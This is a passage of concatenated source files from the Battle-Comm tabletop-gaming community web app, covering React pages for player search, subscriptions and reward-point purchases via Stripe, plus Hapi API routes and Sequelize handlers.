User.hasMany(models.File); User.hasMany(models.ProductOrder); User.hasMany(models.GameSystemRanking); User.hasMany(models.User, { 'as': 'Friends', 'joinTableName': 'userHasFriends' }); User.belongsToMany(models.User, { 'as': 'Friends', 'through': 'userHasFriends' }); User.belongsToMany(models.Achievement, { 'as': 'UserAchievements', 'through': 'userHasAchievements' }); User.hasMany(models.UserNotification); User.hasMany(models.UserMessage); User.hasOne(models.UserPhoto); } } }); return User; };<file_sep>/src/components/pages/players/PlayerSearch.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import ViewWrapper from '../../ViewWrapper'; import {UserActions} from '../../../library/authentication'; import {PaginationControls} from '../../../library/pagination'; const mapStateToProps = (state) => { return { 'players': state.users } }; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'searchPlayers': UserActions.search }, dispatch); } let timer; class PlayerSearch extends React.Component { constructor() { super(); this.state = { 'pagination': {}, 'searchQuery': '', 'searchBy': 'username', 'orderBy': 'username' } this.handlePageChange = this.handlePageChange.bind(this); this.handleQueryChange = this.handleQueryChange.bind(this); this.handleSearchByChange = this.handleSearchByChange.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Search"; this.handlePageChange(1); } componentWillUnmount() { if (timer) { clearTimeout(timer); } } getPlayerIcon(player) { let userPhoto = player.UserPhoto; return userPhoto ? `/uploads/players/${player.id}/playerIcon/300-${player.UserPhoto.name}` : '/uploads/players/defaults/300-profile-icon-default.png'; } handlePageChange(pageNumber = 1, e) { if (e && e.keyCode && e.keyCode !== 13) { return; } this.props.searchPlayers({'searchQuery': this.state.searchQuery, 'searchBy': this.state.searchBy, 'pageNumber': pageNumber, 'orderBy': this.state.orderBy, 'pageSize': 10}).then((pagination) => { this.setState({ 'pagination': pagination }); }); } handleQueryChange(e) { let searchQuery = e.target.value; if (timer) { clearTimeout(timer); } timer = setTimeout(() => { this.handlePageChange(1); }, 500); this.setState({ 'searchQuery': e.target.value }); } handleSearchByChange(e) { this.setState({ 'searchBy': e.target.value }, () => { this.handlePageChange(1) }); } render() { return ( <ViewWrapper headerImage="/images/Titles/Player_Search.png" headerAlt="Player Search"> <div className="row"> <div className="small-12 medium-6 large-8 columns"> <label>Search Query</label> <div className="form-group search-input"> <input name="searchQuery" type="text" onChange={this.handleQueryChange} value={this.state.searchQuery} placeholder="Enter search terms to filter results" onKeyUp={this.handlePageChange.bind(this, 1)}/> <span className="search-icon fa fa-search pointer" onClick={this.handlePageChange.bind(this, 1)}></span> </div> </div> <div className="small-12 medium-6 large-4 columns"> <label>Search By</label> <div className="form-group inline"> <select name="searchBy" value={this.state.searchBy} onChange={this.handleSearchByChange}> <option value='username'>Username</option> <option value='firstName'>First Name</option> <option value='lastName'>Last Name</option> </select> <button className="button" onClick={this.handlePageChange.bind(this, 1)}>Search!</button> </div> </div> </div> <hr/> <div className="small-12 columns"> { this.props.players.length > 0 ? <table className="stack hover text-center"> <thead> <tr> <th className="text-center">Handle</th> <th className="text-center">Full Name</th> <th className="text-center">Go To Profile</th> <th className="text-center">Player Icon</th> </tr> </thead> <tbody> { this.props.players.map((user, i) => <tr key={user.id}> <td><Link className="action-item" to={`/players/profile/${user.username}`}>{user.username}</Link></td> <td>{user.firstName && user.lastName ? user.lastName + ', ' + user.firstName : 'anonymous'} </td> <td> <Link className="action-item" to={`/players/profile/${user.username}`}> <span className="mobile-text">View</span> </Link> </td> <td><Link className="action-item" to={`/players/profile/${user.username}`}><img src={this.getPlayerIcon.call(this, user)} className="image-tiny"/></Link> </td> </tr> ) } </tbody> </table> : <h3 className="text-center">No results found for the selected search</h3> } <hr/> <div className="small-12 columns"> <PaginationControls pageNumber={this.state.pagination.pageNumber} pageSize={this.state.pagination.pageSize} totalPages={this.state.pagination.totalPages} totalResults={this.state.pagination.totalResults} handlePageChange={this.handlePageChange.bind(this)}></PaginationControls> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(PlayerSearch)); <file_sep>/server/routes/api/factions.js 'use strict'; import Joi from 'joi'; import { factions } from '../handlers'; module.exports = [ // Game Systems { 'method': 'POST', 'path': '/api/factions', 'config': { 'tags': ['api'], 'description': 'Add a new faction', 'notes': 'Add a new faction', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'payload': { 'GameSystemId': Joi.number().required(), 'name': Joi.string().required() } } }, 'handler': factions.create }, { 'method': 'PUT', 'path': '/api/factions/{id}', 'config': { 'tags': ['api'], 'description': 'Update a faction by id', 'notes': 'Update a faction by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() }, 'payload': { 'GameSystemId': Joi.number().required(), 'name': Joi.string().required() } } }, 'handler': factions.update }, { 'method': 'DELETE', 'path': '/api/factions/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a faction by id', 'notes': 'Delete a faction by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': Joi.number().required() } } }, 'handler': factions.delete } ]; <file_sep>/src/components/pieces/AccountMenu.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link} from 'react-router-dom'; import classNames from 'classnames'; import PropTypes from 'prop-types'; import {UserActions, AccessControl as createAccessControl} from '../../library/authentication'; import roleConfig from '../../../roleConfig'; const AccessControl = createAccessControl(roleConfig); import UserNotificationActions from '../../actions/UserNotificationActions'; const mapStateToProps = (state) => { return { 'user': state.user, 'notifications': state.userNotifications } this.getPlayerIcon = this.getPlayerIcon.bind(this); } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'getNotifications': UserNotificationActions.search }, dispatch); } class AccountMenu extends React.Component { constructor() { super(); this.state = { 'showMenu': false } this.getNotifications = this.getNotifications.bind(this); this.toggleMenu = this.toggleMenu.bind(this); } componentDidMount() { this.getNotifications(); } getNotifications() { this.props.getNotifications({ 'UserId': this.props.user.id, 'pageNumber': 1, 'pageSize': 10, 'orderBy': 'updatedAt' }); } getPlayerIcon() { let userPhoto = this.props.user.UserPhoto; return userPhoto ? `/uploads/players/${this.props.user.id}/playerIcon/300-${this.props.user.UserPhoto.name}` : '/uploads/players/defaults/300-profile-icon-default.png'; } toggleMenu() { this.setState({ 'showMenu': !this.state.showMenu }) } render() { return ( <div className="account-menu pointer"> { this.props.notifications.length > 0 && <span className="notification-count">{this.props.notifications.length}</span> } <img src={this.getPlayerIcon()} onClick={this.toggleMenu} /> { this.state.showMenu && <div className="menu"> <h3> {this.props.user.username} </h3> <ul onClick={this.toggleMenu}> <li> <Link to="/players/dashboard"><span className="fa fa-dashboard"></span>My Dashboard</Link> </li> <li> <Link to={`/players/profile/${this.props.user.username}`}><span className="fa fa-user"></span>My Public Profile</Link> </li> <li> <Link to="/players"><span className="fa fa-search"></span>Search</Link> </li> <li> <Link to="/players/dashboard/notifications" className="notification-link"><span className="fa fa-envelope"></span>Notifications { this.props.notifications.length > 0 && <span className="count">{this.props.notifications.length}</span> }</Link> </li> <AccessControl element="li" access={['tourneyAdmin', 'eventAdmin', 'venueAdmin', 'newsContributor']}> <Link to="/admin"><span className="fa fa-indent"></span>Admin</Link> </AccessControl> <li onClick={this.props.logout}> <a>Logout</a> </li> </ul> </div> } { this.state.showMenu && <div className="click-away-backdrop" onClick={this.toggleMenu}></div> } </div> ) } } AccountMenu.propTypes = { 'logout': PropTypes.func } export default connect(mapStateToProps, mapDispatchToProps)(AccountMenu); <file_sep>/src/components/pages/Subscribe.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import env from '../../../envVariables'; import {AlertActions} from '../../library/alerts'; import {UserActions} from '../../library/authentication'; import {Form, Input, TextArea, Select, FileUpload, getFormErrorCount} from '../../library/validations'; import {handlers} from '../../library/utilities'; import ViewWrapper from '../ViewWrapper'; import PaymentService from '../../services/PaymentService'; import PlayerService from '../../services/PlayerService'; import UserAchievementService from '../../services/UserAchievementService'; const mapStateToProps = (state) => { return { 'forms': state.forms, 'user': state.user } }; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'logout': UserActions.logout }, dispatch); }; class Subscribe extends React.Component { constructor() { super(); this.state = { 'plans': [], 'selectedPlan': {}, 'stripeLoading': true, 'subscriptionInfo': { }, 'passwordRepeat': '' } this.handleInputChange = this.handleInputChange.bind(this); this.handlePlanChange = this.handlePlanChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.loadStripe = this.loadStripe.bind(this); this.openStripeModal = this.openStripeModal.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { document.title = "Battle-Comm | Subscribe"; let {user} = this.props; if (user.roleConfig.name !== 'member' && user.roleConfig.name !== 'eventAdmin') { this.showAlert('membersOnly'); this.props.history.push('/players/dashboard'); } this.setState({ 'subscriptionInfo': { 'firstName': user.firstName, 'lastName': user.lastName, 'username': user.username, 'email': user.email } }); if (!this.props.user.hasAuthenticatedOnce) { PlayerService.update(this.props.user.id, { 'hasAuthenticatedOnce': true }); } PaymentService.getSubscriptionPlans().then((plans) => { this.setState({ 'plans': plans.data }) }); this.loadStripe(() => { // Handler for acknowledging card token response let handleSubmit = (token) => { PaymentService.createSubscription({ 'UserId': this.props.user.id, 'token': JSON.stringify(token), 'plan': JSON.stringify(this.state.selectedPlan), 'email': this.props.user.email, 'description': 'Battle-Comm Subscription' }).then((subscription) => { this.showAlert('subscriptionSuccess'); UserAchievementService.create({ 'UserId': this.props.user.id, 'AchievementTitle': subscription.plan.metadata.achievement }).then(() => { setTimeout(() => { this.props.logout(); }) this.props.history.push('/login'); }); }).catch((error) => { if (error.message === `Don't fuck with the machine!`) { this.showAlert('fuckOffHackers'); } this.showAlert('orderFailed'); this.props.history.push('/players/dashboard'); }) }; this.stripehandler = window.StripeCheckout.configure({ 'key': env.stripe.publishable, 'image': '/images/branding/128-logo.jpg', 'locale': 'auto', 'token': handleSubmit }); this.setState({ 'stripeLoading': false }); }); } handleInputChange(e) { e.preventDefault(); this.setState({ 'subscriptionInfo': handlers.updateInput(e, this.state.subscriptionInfo) }); } handlePlanChange(e) { e.preventDefault(); let plan = this.state.plans.find((plan) => { return plan.id === e.target.value; }); this.setState({ 'subscriptionInfo': handlers.updateInput(e, this.state.subscriptionInfo), 'selectedPlan': plan }); } handleSubmit(e) { PaymentService.createSubscription({ 'UserId': this.props.user.id, 'email': this.props.user.email, 'plan': JSON.stringify(this.state.selectedPlan), 'description': 'Battle-Comm Subscription' }).then((subscription) => { this.showAlert('subscriptionSuccess'); UserAchievementService.create({ 'UserId': this.props.user.id, 'AchievementTitle': subscription.plan.metadata.achievement }).then(() => { setTimeout(() => { this.props.logout(); }) this.props.history.push('/login'); }).catch((error) => { setTimeout(() => { this.props.logout(); }) this.props.history.push('/login'); }); }).catch(() => { this.showAlert('orderFailed'); this.props.history.push('/players/dashboard'); }); } loadStripe(onload) { if(!window.StripeCheckout) { const script = document.createElement('script'); script.onload = () => { onload(); }; script.src = 'https://checkout.stripe.com/checkout.js'; document.head.appendChild(script); } else { onload(); } } openStripeModal(e) { this.stripehandler.open({ 'name': 'Battle-Comm', 'description': 'Battle-Comm Subscription', 'amount': 0, 'email': this.state.subscriptionInfo.email, 'panelLabel': 'Complete Subscription', 'zipCode': true }); e.preventDefault(); } showAlert(selector) { const alerts = { 'membersOnly': () => { this.props.addAlert({ 'title': 'Member\'s Only', 'message': 'Only members or event admins can subscribe. Either you are already subscribed or you do not have access to this feature.', 'type': 'info', 'delay': 4000 }); }, 'subscriptionSuccess': () => { this.props.addAlert({ 'title': 'Subscription Submitted', 'message': 'Your subscription has been submitted. Please check your e-mail for more information or login to continue.', 'type': 'success', 'delay': 4000 }); }, 'orderSuccess': () => { this.props.addAlert({ 'title': 'Order Success', 'message': `Your RP pool has been updated and RP were added to your account.`, 'type': 'success', 'delay': 4000 }); }, 'orderFailed': () => { this.props.addAlert({ 'title': 'Payment Declined', 'message': 'An error occured, and your card was NOT charged. Please try again or contact a site administrator for additional support.', 'type': 'error', 'delay': 4000 }); }, 'fuckOffHackers': () => { this.props.addAlert({ 'title': 'Fuck Off!', 'message': `Hey hackers, don't fuck with the machine!`, 'type': 'error', 'delay': 10000 }); } } return alerts[selector](); } render() { let formIsInvalid = getFormErrorCount(this.props.forms, 'subscribeForm') > 0; return ( <ViewWrapper headerImage="/images/Titles/Subscribe.png" alt="Subscribe"> <div className="row subscribe"> <div className="plaque"> <img src="/images/branding/plaque-logo.png" alt="Battle-Comm Plaque"/> </div> <div className="subscribe-form push-bottom-2x"> <div className="container ice"> <h2 className="text-center">Player Details</h2> <Form name="subscribeForm" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-6 columns"> <label className="required">E-mail</label> <Input type="text" name="email" value={this.state.subscriptionInfo.email} handleInputChange={this.handleInputChange} validate="email" required={true} disabled={true}/> </div> <div className="form-group small-12 medium-6 columns"> <label className="required">Username</label> <Input type="text" name="username" value={this.state.subscriptionInfo.username} handleInputChange={this.handleInputChange} required={true} disabled={true}/> </div> </div> <div className="row"> <div className="form-group small-12 medium-6 columns"> <label>First Name</label> <Input type="text" name="firstName" value={this.state.subscriptionInfo.firstName} handleInputChange={this.handleInputChange} disabled={true}/> </div> <div className="form-group small-12 medium-6 columns"> <label>Last Name</label> <Input type="text" name="lastName" value={this.state.subscriptionInfo.lastName} handleInputChange={this.handleInputChange} disabled={true}/> </div> </div> <div className="row"> <div className="form-group small-12 columns"> <label className="required">Subscriber Package</label> <Select name="planId" value={this.state.subscriptionInfo.planId} handleInputChange={this.handlePlanChange} required={true}> <option value="">--Select--</option> { this.state.plans.map((plan, i) => <option key={plan.id} value={plan.id}>{plan.name}</option> ) } </Select> </div> </div> </Form> <div className="row"> <div className="small-12 columns text-center"> { this.props.user.customerId ? <button className="button secondary" onClick={this.handleSubmit} disabled={formIsInvalid}>Checkout</button> : <div> { this.state.stripeLoading ? <p>loading..</p> : <button className="button secondary" onClick={this.openStripeModal} disabled={formIsInvalid}>Checkout</button> } </div> } </div> </div> </div> </div> </div> </ViewWrapper> ); } } export default connect(mapStateToProps, mapDispatchToProps)(Subscribe); <file_sep>/server/routes/handlers/gameSystems.js 'use strict'; import models from '../../models'; // Game System Route Configs let gameSystems = { get: (request, reply) => { models.GameSystem.find({ 'where': { 'id': request.params.id }, 'include': [{ 'model': models.Manufacturer }, { 'model': models.Faction }, { 'model': models.File } ] }) .then((response) => { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: (request, reply) => { models.GameSystem.findAll({ 'include': [{ 'model': models.Manufacturer }, { 'model': models.Faction } ], 'order': [ ['name', 'ASC'] ] }) .then((response) => { reply(response).code(200); }); }, create: (request, reply) => { models.GameSystem.create({ 'ManufacturerId': request.payload.ManufacturerId, 'name': request.payload.name, 'description': request.payload.description, 'url': request.payload.url }) .then((response) => { reply(response).code(200); }); }, update: (request, reply) => { models.GameSystem.find({ 'where': { 'id': request.params.id } }) .then((newsPost) => { if (newsPost) { newsPost.updateAttributes({ 'ManufacturerId': request.payload.ManufacturerId, 'name': request.payload.name, 'description': request.payload.description, 'url': request.payload.url }).then((response) => { reply(response).code(200); }); } else { reply().code(404); } }); }, 'search': (request, reply) => { let searchByConfig; let pageSize = parseInt(request.payload.pageSize, 10) || 20; let searchQuery = request.payload.searchQuery || ''; let offset = (request.payload.pageNumber - 1) * pageSize; let orderBy = request.payload.orderBy ? (request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC']) : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? { [request.payload.searchBy]: { '$iLike': '%' + searchQuery + '%' } } : { '$or': [{ 'name': { '$iLike': '%' + searchQuery + '%' } }, { 'description': { '$iLike': '%' + searchQuery + '%' } } ] }; } else { searchByConfig = {}; } models.GameSystem.findAndCountAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': pageSize }).then((response) => { let count = response.count; let results = response.rows; let totalPages = Math.ceil(count === 0 ? 1 : (count / pageSize)); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }, delete: (request, reply) => { models.GameSystem.destroy({ 'where': { 'id': request.params.id } }) .then((response) => { if (response) { reply().code(200); } else { reply().code(404); } }); } }; export default gameSystems; <file_sep>/src/constants/NewsPostConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_NEWS_POST_REQUEST: null, GET_NEWS_POST: null, GET_NEWS_POSTS: null, CREATE_NEWS_POST: null, UPDATE_NEWS_POST: null, REMOVE_NEWS_POST: null, FILTER_NEWS_POSTS: null }); <file_sep>/src/components/pieces/RewardPointPurchase.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {UserActions} from '../../library/authentication'; import {AlertActions} from '../../library/alerts'; import env from '../../../envVariables'; import {handlers} from '../../library/utilities'; import {Form, Input, TextArea, Select, getFormErrorCount} from '../../library/validations'; import PaymentService from '../../services/PaymentService'; import pointPriceConfig from '../../../pointPriceConfig'; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'modifyUser': UserActions.modify, }, dispatch); } // TODO: add proptypes config // TODO: Add security, lock down price config so user can't alter values in developer tools class RewardPointPurchase extends React.Component { constructor() { super(); this.state = { 'formIsActive': true, 'stripeLoading': true, 'rpPurchaseForm': { 'email': '', 'rewardPoints': '' } }; this.loadStripe = this.loadStripe.bind(this); this.openStripeModal = this.openStripeModal.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.showAlert = this.showAlert.bind(this); } componentWillMount() {} componentDidMount() { document.title = "Battle-Comm | Purchase RP"; this.setState({ 'rpPurchaseForm': { 'email': this.props.user.email } }) this.loadStripe(() => { // Handler for acknowledging card token response let handleSubmit = (token) => { PaymentService.purchaseRP(this.props.user.id, { 'token': JSON.stringify(token), 'details': { 'email': this.state.rpPurchaseForm.email, 'description': 'Reward Point Purchase', 'priceIndex': this.state.rpPurchaseForm.priceIndex } }).then((response) => { if (response.charge.status === 'succeeded') { this.props.modifyUser({ 'rpPool': this.props.user.rpPool + pointPriceConfig[this.state.rpPurchaseForm.priceIndex].rp }); this.showAlert('orderSuccess'); this.setState({ 'rpPurchaseForm': { 'priceIndex': '' }, 'formIsActive': false }, () => { setTimeout(() => { this.setState({ 'formIsActive': true }); }); }); } else { this.showAlert('orderFailed'); } }).catch((error) => { if (error.message === `Don't fuck with the machine!`) { this.showAlert('fuckOffHackers'); } }) }; this.stripehandler = window.StripeCheckout.configure({ 'key': env.stripe.publishable, 'image': '/images/branding/128-logo.jpg', 'locale': 'auto', 'token': handleSubmit }); this.setState({ 'stripeLoading': false }); }); } handleInputChange(e) { this.setState({ 'rpPurchaseForm': handlers.updateInput(e, this.state.rpPurchaseForm) }); } loadStripe(onload) { if(!window.StripeCheckout) { const script = document.createElement('script'); script.onload = () => { onload(); }; script.src = 'https://checkout.stripe.com/checkout.js'; document.head.appendChild(script); } else { onload(); } } openStripeModal(e) { this.stripehandler.open({ 'name': 'Battle-Comm', 'description': 'Reward Point Purchase', 'amount': pointPriceConfig[this.state.rpPurchaseForm.priceIndex].value, 'email': this.state.rpPurchaseForm.email, 'panelLabel': 'Complete Order', 'zipCode': true }); e.preventDefault(); } showAlert(selector) { const alerts = { 'orderSuccess': () => { let rp = pointPriceConfig[this.state.rpPurchaseForm.priceIndex].rp.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ","); this.props.addAlert({ 'title': 'Order Success', 'message': `Your RP pool has been updated and ${rp}RP were added to your account.`, 'type': 'success', 'delay': 4000 }); }, 'orderFailed': () => { this.props.addAlert({ 'title': 'Payment Declined', 'message': 'An error occured, and your card was NOT charged. Please try again or contact a site administrator for additional support.', 'type': 'error', 'delay': 4000 }); }, 'fuckOffHackers': () => { this.props.addAlert({ 'title': 'Fuck Off!', 'message': `Hey hackers, don't fuck with the machine!`, 'type': 'error', 'delay': 10000 }); } } return alerts[selector](); } render() { let formIsInvalid = getFormErrorCount(this.props.forms, 'rpPurchaseForm') > 0; return ( <div className="small-12 columns"> <h2>Purchase Reward Points</h2> <div className="row"> <div className="small-12 columns text-center"> <h6>Add reward points to your local event, store, or venue pool for player distribution at tournaments or other qualifying events. Then use the point assignment tool to submit event details, player RP rewards, and game results.</h6> </div> </div> { this.state.formIsActive && <Form name="rpPurchaseForm" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-2 columns"> <label className="required">E-mail</label> <Input type="text" name="email" value={this.state.rpPurchaseForm.email} handleInputChange={this.handleInputChange} validate="email" required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label>Reward Points</label> <Select name="priceIndex" value={this.state.rpPurchaseForm.priceIndex} handleInputChange={this.handleInputChange} required={true}> <option value="">--Select--</option> { pointPriceConfig.map((option, i) => <option key={i} value={i}>{option.display}</option> ) } </Select> </div> </div> </Form> } <div className="row"> <div className="small-12 columns text-center"> <div> { this.state.stripeLoading ? <p>loading..</p> : <button className="button secondary" onClick={this.openStripeModal} disabled={formIsInvalid}>Checkout</button> } </div> </div> </div> </div> ); } componentWillUnmount() { if(this.stripehandler) { this.stripehandler.close(); } } } export default withRouter(connect(null, mapDispatchToProps)(RewardPointPurchase)); <file_sep>/src/library/cart/index.js 'use strict'; import CartActions from './actions/CartActions'; import {cartIsActive, cartItems, cartQtyPlaceholders} from './reducers/cartItems'; export { CartActions, cartIsActive, cartItems, cartQtyPlaceholders }; <file_sep>/compiled-server/routes/handlers/userPhotos.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _boom = require('boom'); var _boom2 = _interopRequireDefault(_boom); var _fsExtra = require('fs-extra'); var _fsExtra2 = _interopRequireDefault(_fsExtra); var _envVariables = require('../../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); var _imageConfig = require('../../constants/imageConfig'); var _imageConfig2 = _interopRequireDefault(_imageConfig); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // Product Route Configs var userPhotos = { create: function create(request, reply) { _models2.default.UserPhoto.create({ 'UserId': request.payload.UserId, 'locationUrl': request.payload.locationUrl, 'identifier': request.payload.identifier, 'label': request.payload.label, 'name': request.payload.name, 'size': request.payload.size, 'type': request.payload.type }).then(function (userPhoto) { reply(userPhoto).code(200); }); }, update: function update(request, reply) { _models2.default.UserPhoto.find({ 'where': { 'id': request.params.id } }).then(function (userPhoto) { if (userPhoto) { userPhoto.updateAttributes({ 'UserId': request.payload.UserId, 'identifier': request.payload.identifier, 'locationUrl': request.payload.locationUrl, 'label': request.payload.label, 'name': request.payload.name, 'size': request.payload.size, 'type': request.payload.type }).then(function (userPhoto) { reply(userPhoto).code(200); }); } else { reply().code(404); } }); }, delete: function _delete(request, reply) { // TODO: Double check that this is safe and will not delete directories _models2.default.UserPhoto.find({ 'where': { 'id': request.params.id } }).then(function (userPhoto) { if (!userPhoto.locationUrl || !userPhoto.name) { reply(_boom2.default.notAcceptable('UserPhoto object is missing a proper locationUrl property or file name')); } var fileName = userPhoto.name; var locationPath = __dirname + '/../../../dist' + userPhoto.locationUrl; var locationUrl = locationPath + fileName; if (locationUrl.slice(-1) === '/' || locationUrl.indexOf('.') < 0) { reply(_boom2.default.notAcceptable('UserPhoto object is missing a proper locationUrl property or file name')); } else { // Delete files _models2.default.UserPhoto.destroy({ 'where': { 'id': request.params.id } }).then(function (file) { if (file) { _fsExtra2.default.unlink(locationUrl, function (err) { if (err) { reply(_boom2.default.badRequest('Error deleting user photo file.')); } else { var count = 0; _imageConfig2.default[userPhoto.identifier].sizes.forEach(function (size) { _fsExtra2.default.unlink(locationPath + '/' + size + '-' + fileName, function (error) { if (error) { console.log(error); reply(_boom2.default.badRequest('Error deleting user photo file.')); } else { count++; if (count >= _imageConfig2.default[userPhoto.identifier].sizes.length) { reply().code(200); } } }); }); } }); } else { reply(_boom2.default.notFound('File missing, cannot delete.')); } }); } }); } }; exports.default = userPhotos;<file_sep>/compiled-server/routes/api/rankings.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // Faction Rankings { 'method': 'POST', 'path': '/api/search/factionRankings/{id}', 'config': { 'handler': _handlers.factionRankings.search, 'tags': ['api'], 'description': 'Return ranking search results', 'notes': 'Return ranking search results', 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'orderBy': _joi2.default.optional(), 'pageNumber': _joi2.default.number().required(), 'pageSize': _joi2.default.optional() } } } }, // Game System Rankings { 'method': 'POST', 'path': '/api/gameSystemRankings', 'config': { 'handler': _handlers.gameSystemRankings.createOrUpdate, 'tags': ['api'], 'description': 'Create a new ranking with game system and faction', 'notes': 'Create a new ranking with game system and faction', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'eventAdminSubscriber', 'systemAdmin'] }, 'validate': { 'payload': { 'UserId': _joi2.default.number().required(), 'GameSystemId': _joi2.default.number().required(), 'FactionId': _joi2.default.number().required(), 'totalWins': _joi2.default.number().required(), 'totalDraws': _joi2.default.number().required(), 'totalLosses': _joi2.default.number().required() } } } }, { 'method': 'POST', 'path': '/api/search/gameSystemRankings/{id}', 'config': { 'handler': _handlers.gameSystemRankings.search, 'tags': ['api'], 'description': 'Return ranking search results', 'notes': 'Return ranking search results', 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'orderBy': _joi2.default.optional(), 'pageNumber': _joi2.default.number().required(), 'pageSize': _joi2.default.optional() } } } }];<file_sep>/src/routes.jsx 'use strict'; // Routes import Home from './components/pages/Home'; import Achievements from './components/pages/Achievements'; import AdminDashboard from './components/pages/admin/AdminDashboard'; import SearchAchievements from './components/pages/admin/SearchAchievements'; import EditAchievement from './components/pages/admin/EditAchievement'; import SearchGameSystems from './components/pages/admin/SearchGameSystems'; import EditGameSystem from './components/pages/admin/EditGameSystem'; import SearchManufacturers from './components/pages/admin/SearchManufacturers'; import EditManufacturer from './components/pages/admin/EditManufacturer'; import SearchNewsPosts from './components/pages/admin/SearchNewsPosts'; import EditNewsPost from './components/pages/admin/EditNewsPost'; import SearchProductOrders from './components/pages/admin/SearchProductOrders'; import EditProductOrder from './components/pages/admin/EditProductOrder'; import SearchProducts from './components/pages/admin/SearchProducts'; import EditProduct from './components/pages/admin/EditProduct'; import AssignPoints from './components/pages/admin/AssignPoints'; import SearchUsers from './components/pages/admin/SearchUsers'; import EditUser from './components/pages/admin/EditUser'; import ForgotPassword from './components/pages/ForgotPassword'; import Login from './components/pages/Login'; import NotFound from './components/pages/NotFound'; import News from './components/pages/news/News'; import NewsPost from './components/pages/news/NewsPost'; import PlayerRankingSearch from './components/pages/players/PlayerRankingSearch'; import PlayerSearch from './components/pages/players/PlayerSearch'; import PlayerProfile from './components/pages/players/PlayerProfile'; import PlayerAllySearch from './components/pages/players/PlayerAllySearch'; import PlayerDashboard from './components/pages/players/PlayerDashboard'; import PlayerChangePassword from './components/pages/players/PlayerChangePassword'; import PlayerAccountEdit from './components/pages/players/PlayerAccountEdit'; import PlayerNotifications from './components/pages/players/PlayerNotifications'; import Register from './components/pages/Register'; import ResetPassword from './components/pages/ResetPassword'; import Subscribe from './components/pages/Subscribe'; import Store from './components/pages/store/Store'; import Cart from './components/pages/store/Cart'; import Checkout from './components/pages/store/Checkout'; import OrderSuccess from './components/pages/store/OrderSuccess'; import Product from './components/pages/store/Product'; // Actions let routes = [ // Index/Home { 'path': '/', 'component': Home, 'exact': true }, { 'path': '/achievements/:achievementId?', 'component': Achievements }, // Admin { 'path': '/admin', 'component': AdminDashboard, 'exact': true, 'access': ['tourneyAdmin', 'eventAdmin', 'venueAdmin', 'newsContributor'] }, { 'path': '/admin/achievements', 'component': SearchAchievements, 'exact': true, 'access': ['systemAdmin'] }, { 'path': '/admin/achievements/create', 'component': EditAchievement, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/achievements/edit/:achievementId', 'component': EditAchievement, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/game-systems', 'component': SearchGameSystems, 'exact': true, 'access': ['systemAdmin'] }, { 'path': '/admin/game-systems/create', 'component': EditGameSystem, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/game-systems/edit/:gameSystemId', 'component': EditGameSystem, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/manufacturers', 'component': SearchManufacturers, 'exact': true, 'access': ['systemAdmin'] }, { 'path': '/admin/manufacturers/create', 'component': EditManufacturer, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/manufacturers/edit/:manufacturerId', 'component': EditManufacturer, 'strict': true, 'access': ['systemAdmin'] }, { 'path': '/admin/news', 'component': SearchNewsPosts, 'exact': true, 'access': ['newsContributor'] }, { 'path': '/admin/news/create', 'component': EditNewsPost, 'strict': true, 'access': ['newsContributor'] }, { 'path': '/admin/news/edit/:postId', 'component': EditNewsPost, 'strict': true, 'access': ['newsContributor'] }, { 'path': '/admin/product-orders', 'component': SearchProductOrders, 'exact': true, 'access': ['systemAdmin'] }, { 'path': '/admin/product-orders/edit/:orderId', 'component': EditProductOrder, 'strict': true, 'access': ['systemAdmin'] }, { 'path': 